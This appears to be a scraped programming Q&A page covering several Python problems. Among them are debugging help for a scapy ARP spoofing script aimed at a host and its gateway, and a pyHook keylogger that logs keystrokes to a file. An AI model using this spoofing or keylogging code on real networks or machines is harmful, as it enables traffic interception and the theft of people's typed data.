Why the irrelevant code made a difference? - python

I am thinking to make a progress bar with python in terminal. First, I have to get the width(columns) of terminal window. In python 2.7, there is no standard library can do this on Windows. I know maybe I have to call Windows Console API manually.
According to MSDN and Python Documentation, I wrote the following code:
import ctypes
import ctypes.wintypes
class CONSOLE_SCREEN_BUFFER_INFO(ctypes.Structure):
_fields_ = [
('dwSize', ctypes.wintypes._COORD),
('dwCursorPosition', ctypes.wintypes._COORD),
('wAttributes', ctypes.c_ushort),
('srWindow', ctypes.wintypes._SMALL_RECT),
('dwMaximumWindowSize', ctypes.wintypes._COORD)
]
hstd = ctypes.windll.kernel32.GetStdHandle(ctypes.c_ulong(-11)) # STD_OUTPUT_HANDLE = -11
print hstd
csbi = CONSOLE_SCREEN_BUFFER_INFO()
print ctypes.sizeof(csbi) # <---------------
ret = ctypes.windll.kernel32.GetConsoleScreenBufferInfo(ctypes.c_ulong(hstd), csbi)
print ret
print csbi.dwSize.X
It works fine. I set about deleting some print in code. But after that, it doesn't work! GetLastError return 6 (Invalid Handle). After times of trying, I found that there must be SOMETHING at the pointed position of the code such as print 'hello', import sys or sys.stdout.flush(). At first, I guess that maybe it need time to do something. So I tried to put time.sleep(2) at that position, but it still doesn't work.
But, if I do use struct instead of ctypes.Structure, there's no such problem.
import ctypes
import struct
hstd = ctypes.windll.kernel32.GetStdHandle(-11) # STD_OUTPUT_HANDLE = -11
csbi = ctypes.create_string_buffer(22)
res = ctypes.windll.kernel32.GetConsoleScreenBufferInfo(hstd, csbi)
width, height, curx, cury, wattr, left, top, right, bottom, maxx, maxy = struct.unpack("hhhhHhhhhhh", csbi.raw)
print bufx
Is there any one can tell me why the irrelevant code made such a difference?

You need to pass the struct by reference:
ret = ctypes.windll.kernel32.GetConsoleScreenBufferInfo(
ctypes.c_ulong(hstd),
ctypes.byref(csbi)
)
I would also recommend that you declare the restype for GetStdHandle. That will mean that your code is ready to run under a 64 bit process. I'd write it like this:
ctypes.windll.kernel32.GetStdHandle.restype = ctypes.wintypes.HANDLE
hstd = ctypes.windll.kernel32.GetStdHandle(-11) # STD_OUTPUT_HANDLE = -11
csbi = CONSOLE_SCREEN_BUFFER_INFO()
ret = ctypes.windll.kernel32.GetConsoleScreenBufferInfo(
hstd,
ctypes.byref(csbi)
)
Actually, in my version of Python, your code reports a much more useful error. I see this:
Traceback (most recent call last):
File "test.py", line 16, in
ret = ctypes.windll.kernel32.GetConsoleScreenBufferInfo(ctypes.c_ulong(hstd), csbi)
ValueError: Procedure probably called with too many arguments (20 bytes in
excess)
This is enough to make it clear that there is an binary mismatch at the interface between the Python code and the native code.
I suspect that if you get a more recent version of Python, you'd also benefit from this stack imbalance checking.

Related

Python ARP spoofer using scapy module

Im trying to code a basic arp spoofer following a tutorial i found online.
So I coded the basic beginnig of the arpSpoofer but when i execute it throws an IndexError: list index out of range...Im sure i have made a silly mistake on the code but i cant really find it and I've been trying for hours.
The code is this:
import scapy.all as scapy
from scapy import *
import time
def get_mac(ip):
arp_request = scapy.ARP(pdst = ip)
broadcast = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout = 1, verbose = False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet)
while True:
spoof("192.168.1.79", "192.168.1.1")
spoof("192.168.1.1", "192.168.1.79")
And the excact error message is:
Traceback (most recent call last):
File "arp_spoof.py", line 26, in <module>
spoof("192.168.1.79", "192.168.1.1")
File "arp_spoof.py", line 18, in spoof
target_mac = get_mac(target_ip)
File "arp_spoof.py", line 15, in get_mac
return answered_list[0][1].hwsrc
File "/usr/lib/python3/dist-packages/scapy/plist.py", line 118, in __getitem__
return self.res.__getitem__(item)
IndexError: list index out of range
I'd appreciate some help...Thanks in advance! :)
Indeed answered_list must be empty. You should check for this condition before even trying to extract pieces.
Probably you need to tell Scapy to use a specific interface or adapt your routing rules. Add the iface parameter to the srp function. On Linux, that would be something like 'eth0' or 'enp1s0'. On Windows, that would be the meaningful interface name like 'Network Connection 1' or something.
You can type conf.iface in scapy to check the default interface. Quite often, it's a wrong one that is selected by default. Very likely, that's why you got an empty list.
Just one remark: this is duplication:
import scapy.all as scapy
from scapy import *
The practice of importing * from a module or package is generally not good practice, here's why: Why import star in Python is a bad idea
Below are some points about why import * should not be used:
Code Readability
It is always remains a mystery what is imported and cannot be found easily from - which module a certain thing was imported that result in
low code readability.
Polluting the namespace, import * imports all the functions and classes in your own namespace that may clash with the function and
classes you define or function and classes of other libraries that you
may import.
Concrete possibility of hiding bugs
Tools like pyflakes can’t be used to statically detect errors in the source code.
It would be better to import just what you need eg:
from scapy.all import srp,send,ARP
scapy_ip = scapy.ARP(pdst=ip)
scapy_mac = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
scapy_broadcast = scapy_mac/scapy_ip
ans, unans = scapy.srp(scapy_broadcast, timeout=1, iface="eth0")
for i in ans:
print(i[1].psrc, i[1].hwsrc)
I changed the get_mac function as follow to make sure the mac is not empty
def get_mac(ip):
mac = "xx"
while mac == "xx":
try:
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1 , verbose=False)[0]
mac = answered_list[0][1].hwsrc
# print(mac)
except:
pass
finally:
return mac

error return without exception set on beaglebone

I am trying to build a Phasor Measurement Unit using Beaglebone Black rev 3. The following is the code. While running it gives an error as:
prussdrv_open open failed
Traceback (most recent call last):
File "/var/lib/cloud9/pmu.py", line 36, in <module>
pru.open(0) # open connection to PRU 0
SystemError: error return without exception set
The code goes here:
import pypruss as pru
import mmap
import numpy as np
import struct
import time
## MEMORY LOCATIONS ##
PRU_ICSS=0x4A300000
PRU_ICSS_LEN=512*1024
RAM_START=0x00000000
RAM1_START=0x00002000
RAM2_START=0x00012000
TOTAL_BUFFER_LEN=0x00000FA0
BUFFER_LEN=TOTAL_BUFFER_LEN/2
BUFFER1_START=RAM2_START+4
BUFFER2_START=BUFFER1_START+BUFFER_LEN
## FUNCTION DEFINITIONS ##
def processRawADC(value):
value=0x00000FFF&value
value=int(value)
value=(value*1.8)/(2^12)
return value
def channelID(value):
value=0x000F0000&value
value=value>>16
return value
## PRU SETUP ##
pru.modprobe( ) # enable uio_pruss module
pru.init( ) #initialize PRU
pru.open(0) # open connection to PRU 0
pru.pruintc_init( ) # configure interrupt handlers
pru.exec_program(0,"./oneshot.bin") # load assembly file
counter = 0
f=open("/dev/mem","r+b")
output=open("./results.txt","w")
while counter<10 :
start=time.time()
pru.wait_for_event(0)
ddr_mem=mmap.mmap(f.fileno( ),PRU_ICSS_LEN,offset=PRU_ICSS)
shared=struct.unpack('L ',ddr_mem[RAM2_START:RAM2_START+4])
print(shared[0])
if shared[0]==1 :
print ("buffer 1")
for i in range(0,500) :
fifo = struct.unpack ( 'L ' ,ddr_mem[BUFFER2_START+( i*4)
:BUFFER2_START+4+(i*4)])[0]
value=processRawADC(fifo)
channelNum=channelID(fifo)
output.write(str(channelNum)+","+str(value)+"nn")
counter += 1
pru.clear_event(0)
elif shared[0] == 2:
shared=struct.unpack('L ',ddr_mem[RAM2_START:RAM2_START+4])
print("buffer 2")
for i in range(0,500):
fifo=struct.unpack('L',ddr_mem[BUFFER2_START+(i*4) :BUFFER2_START+4+
(i*4)])[0]
value = processRawADC(fifo)
channelNum = channelID(fifo)
output.write(str(channelNum)+","+str(value)+"nn")
counter +=1
pru.clear_event(0)
end=time.time( )
#print end-start
f.close( )
output.close( )
pru.clear_event(0)
pru.pru_disable(0)
pru.exit ( )
I am unable to find, where is the mistake lies. Please Help.
Looks like there is a bug in PyPRUSS code.
Its pypruss_open function does not properly set exception information but returns an error indication (NULL). Python doesn't like when a function does so.
Looking at the pypruss_open source, it will fail in such way if prussdrv_open fails and returns -1 as an error indication. It in turn might fail either itself (if that device is already opened) or if __prussdrv_memmap_init fails.
Unfortunately, looks like there is no way to get information about the exact reason of the error.
What can you do to debug this issue? If you won't be able to find anything obvious (like missing /dev/uid0 after calling pru.modprobe()) then you can run your script with strace to see which system calls precede an error. Then you look at the source code under links I gave you above and see when exactly does the failure happen.

Python AttributeError: function 'Search' not found

I am trying to control a Tektronix RSA306 Spectrum Analyzer by using the API. The program finds the RSA300API.dll file but throws an error when searching and connecting to the device. The program I am running is an example from Tektronix. The setup I am currently using is Python 2.7.12 x64(Anaconda 4.1.1) on 64 bit Windows 7.
from ctypes import *
import numpy as np
import matplotlib.pyplot as plt
I am locating the .dll file with:
rsa300 = WinDLL("RSA300API.dll")
The error occurs when executing the search function:
longArray = c_long*10
deviceIDs = longArray()
deviceSerial = c_wchar_p('')
numFound = c_int(0)
serialNum = c_char_p('')
nomenclature = c_char_p('')
header = IQHeader()
rsa300.Search(byref(deviceIDs), byref(deviceSerial), byref(numFound))
if numFound.value == 1:
rsa300.Connect(deviceIDs[0])
else:
print('Unexpected number of instruments found.')
exit()
When running the following error messages appear:
C:\Anaconda2\python.exe C:/Tektronix/RSA_API/lib/x64/trial
<WinDLL 'RSA300API.dll', handle e47b0000 at 3ae4e80>
Traceback (most recent call last):
File "C:/Tektronix/RSA_API/lib/x64/trial", line 44, in <module>
rsa300.Search(byref(deviceIDs), byref(deviceSerial), byref(numFound))
File "C:\Anaconda2\lib\ctypes\__init__.py", line 376, in __getattr__
func = self.__getitem__(name)
File "C:\Anaconda2\lib\ctypes\__init__.py", line 381, in __getitem__
func = self._FuncPtr((name_or_ordinal, self))
AttributeError: function 'Search' not found
The issue that I am having is that the 'Search' function is not found. What would be the solution to this problem?
Tektronix application engineer here.
The problem here is a mismatch of API versions. Your code is referencing an old version of the API (RSA300API.dll) and the error message is referencing a newer version of the API (RSA_API.dll). Make sure you have installed the most current version of the API and that you reference the correct dll in your code.
Here is a link to download the latest version of the RSA API (as of 11/1/16):
http://www.tek.com/model/rsa306-software
Here is a link to download the API documentation (as of 11/1/16). There is an Excel spreadsheet attached to this document that outlines the differences between old functions and new functions:
http://www.tek.com/spectrum-analyzer/rsa306-manual-6
Function names were changed in the new version using for the sake of clarity and consistency. The old version of the API didn't have prefixes for most functions, and it was unclear which functions were grouped together just from reading the function names. The new version of the API applies prefixes to all functions and it is now much easier to tell what functional group a given function is in just by reading its declaration. For example the old search and connect functions were simply called Search() and Connect(), and the new version of the functions are called DEVICE_Search() and DEVICE_Connect().
Note: I use cdll.LoadLibrary("RSA_API.dll") to load the dll rather than WinDLL().
DEVICE_Search() has slightly different arguments than Search(). Due to different argument data types, the new DEVICE_Search() function doesn't play as well with ctypes as the old Search() function does, but I've found a method that works (see code below).
Here is the search_connect() function I use at the beginning of my RSA control scripts:
from ctypes import *
import os
"""
################################################################
C:\Tektronix\RSA306 API\lib\x64 needs to be added to the
PATH system environment variable
################################################################
"""
os.chdir("C:\\Tektronix\\RSA_API\\lib\\x64")
rsa = cdll.LoadLibrary("RSA_API.dll")
"""#################CLASSES AND FUNCTIONS#################"""
def search_connect():
#search/connect variables
numFound = c_int(0)
intArray = c_int*10
deviceIDs = intArray()
#this is absolutely asinine, but it works
deviceSerial = c_char_p('longer than the longest serial number')
deviceType = c_char_p('longer than the longest device type')
apiVersion = c_char_p('api')
#get API version
rsa.DEVICE_GetAPIVersion(apiVersion)
print('API Version {}'.format(apiVersion.value))
#search
ret = rsa.DEVICE_Search(byref(numFound), deviceIDs,
deviceSerial, deviceType)
if ret != 0:
print('Error in Search: ' + str(ret))
exit()
if numFound.value < 1:
print('No instruments found. Exiting script.')
exit()
elif numFound.value == 1:
print('One device found.')
print('Device type: {}'.format(deviceType.value))
print('Device serial number: {}'.format(deviceSerial.value))
ret = rsa.DEVICE_Connect(deviceIDs[0])
if ret != 0:
print('Error in Connect: ' + str(ret))
exit()
else:
print('Unexpected number of devices found, exiting script.')
exit()

Python TypeError an integer is required pyHook pythoncom

I wrote a script:
import pythoncom, pyHook
import time
from time import strftime,localtime
def OKBE(event):
log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
f=open(str(log),"a")
if(str(event.Ascii)=="8"):
f.write("<--")
print("<--")
elif(str(event.Ascii)=="13"):
f.write("\nENTER "+str(time.strftime("%H,%M",localtime()))+"\n")
print("\nENTER\n")
elif(str(event.Ascii)=="32"):
f.write(" ")
else:
f.write(chr(event.Ascii))
print(str(event.Ascii))
print(chr(event.Ascii))
manager = pyHook.HookManager()
manager.KeyDown = OKBE
manager.HookKeyboard()
pythoncom.PumpMessages()
but any time the event is a or p and some other letters i get this error:
Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Users\Miran\Desktop\Pythonprojekt\Keylogger\keylogger.pyw", line 10, in OKBE
log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
TypeError: an integer is required
Anyone knows why?
Event is a class (or should i say, instance of a class), you can call information from the instance (see code below) such as 'event.key' will give you the ASCII character code. event.alt will return the status of the 'alt' key.
I remember dealing with a similar issue when writing a python keylogger (although it has been an age). I cant see anything immediately wrong with your code. My 'OKBE' function looked more like this.
def OnKeyboardEvent(self, event):
if (event.Ascii > 31 and event.Ascii < 127) or event.Ascii == 13 or event.Ascii == 9:
data = (event.WindowName, event.Window, event.Time, event.Ascii, event.Key, event.Alt)
print data # debugging
I believe using the above method catches most (if not all) of the usual keystrokes. Using that function above i created a class with other logging functions.
If you need anything else, or work out whats going on in your code, let me know :)
I think the issue is a bug... when i replace
log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
by
log="log.txt"
anything works fine

parallelization issue using python view library

so i Worte some code with basic structure like this:
from numpy import *
from dataloader import loadfile
from IPython.parallel import Client
from clustering import *
data = loadfile(0)
N_CLASSES = 10
rowmax = nanmax(data.values, 0)
rowmin = nanmin(data.values, 0)
# Defines the size of block processed at a time
BLOCK_SIZE = 50000
classmean, classcov, classcovinv, classlogdet, classlogprob = init_stats(data, N_CLASSES, rowmax, rowmin)
client = Client()
ids = client.ids
nodes = len(ids)
view = client.load_balanced_view()
dview = client[:]
def get_ml_class(data, args): do sth
dview.scatter('datablock', data)
dview.execute('res1, res2 = get_ml_class(datablock, args)', block=False)
the output of dview.execute part is
<AsyncResult: execute>
which means it is executed, however, when i was trying to pull the result by
dview.pull(['res1','res2'], block=True)
it shows:
NameError: name 'res1' is not defined
Can someone please tell me what is wrong with my code?? Thank you so much!
Let us make a simpler example:
from IPython.parallel import Client
rc = Client()
dview = rc[:]
dview.scatter('a', Range(16))
dview.execute('res1,res2 = a[0], a[1]', block=False)
dview.pull(['res1'], block=True)
This works as expected and gives a the result:
[[0], [4], [8], [12]]
So, we do at least this one right. But let me change the code a bit:
from IPython.parallel import Client
rc = Client()
dview = rc[:]
dview.scatter('a', Range(16))
dview.execute('res1,res2 = a[0], b[1]', block=False)
dview.pull(['res1'], block=True)
Now we have the NameError. Why?
Because there is an error on the execute line (it references to variable b which does not exist). The non-blocking execute does not complain much. In the first (working) case the status is:
<AsyncResult: finished>
and in the second (non-working) case:
<AsyncResult: execute>
Other than that it is very quiet, and the second message does not necessarily mean an error has occured. In order to see the real error message, change blocking to True. Then you'll see what is going wrong.
If you want to know if your non-blocking execute works, you have to capture the AsyncResult object returned by execute. It has several interesting methods, but you would be most interested in ready and successful methods:
ar = dview.execute(...)
ar.ready() # True if the process has finished
ar.successful() # True if there were no exceptions raised
Also, the possible exceptions raised during the execution can be fetched by using the get method of the AsyncResult object. For example my bad example gives in the interactive shell:
>>> ar.get()
[0:execute]:
---------------------------------------------------------------------------
NameError Traceback (most recent call last)<ipython-input-1-608f57d70b2f> in <module>()
----> 1 res1,res2=a[0]**2,b[1]**2
NameError: name 'b' is not defined
[1:execute]:
---------------------------------------------------------------------------
NameError Traceback (most recent call last)<ipython-input-1-608f57d70b2f> in <module>()
----> 1 res1,res2=a[0]**2,b[1]**2
NameError: name 'b' is not defined
...
So, as a summary: Try to find out what goes wrong with the function you try to run remotely. Now it seems to raise some execption. The error might have something to do with args which does not seem to be available for the remote scripts. Maybe a scatter is missing?

Categories